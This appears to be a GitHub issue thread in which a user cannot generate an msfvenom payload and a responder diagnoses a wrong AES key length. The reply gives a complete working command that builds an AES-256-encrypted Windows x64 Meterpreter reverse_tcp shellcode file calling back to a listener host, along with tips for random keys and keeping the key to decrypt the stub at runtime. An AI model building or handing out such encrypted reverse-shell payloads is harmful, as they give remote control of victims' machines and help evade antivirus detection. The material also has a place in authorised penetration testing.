unbale to geneerate the payload

[deepakkumarpolamreddy]

Summary

Relevant information

[Pushpenderrathore]

The problem is the key length, not the payload.

--encrypt aes256 uses AES-256, which needs a 256-bit key, meaning exactly 32 bytes. msfvenom passes the value of --encrypt-key to OpenSSL as the raw key with no passphrase derivation, hashing, or padding, so the string you give it has to be exactly 32 bytes.

Your key fdgdgj93jf43uj983uf498f43 is 25 bytes, so OpenSSL rejects it and generation fails with ArgumentError: key must be 32 bytes. The IV is fine: 1234567890abcdef is 16 bytes, which is correct for AES-CBC.

Use a 32-byte key, for example:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.x.x.x LPORT=443 --encrypt aes256 --encrypt-key "0123456789abcdef0123456789abcdef" --encrypt-iv "1234567890abcdef" -f raw -o aestcp.bin

If you prefer random values, --encrypt-key "$(openssl rand -hex 16)" gives a 32-byte key and --encrypt-iv "$(openssl rand -hex 8)" gives a 16-byte IV. The key and IV are the raw bytes of whatever string you pass, so a 32-character ASCII string is a 32-byte key. Keep the same key and IV, since you need them to decrypt the stub at runtime.

If it still fails after switching to a 32-byte key, please paste the full error output. The issue body came through empty (the command was inside the template comment block, which GitHub hides), so the exact message would help rule out anything else.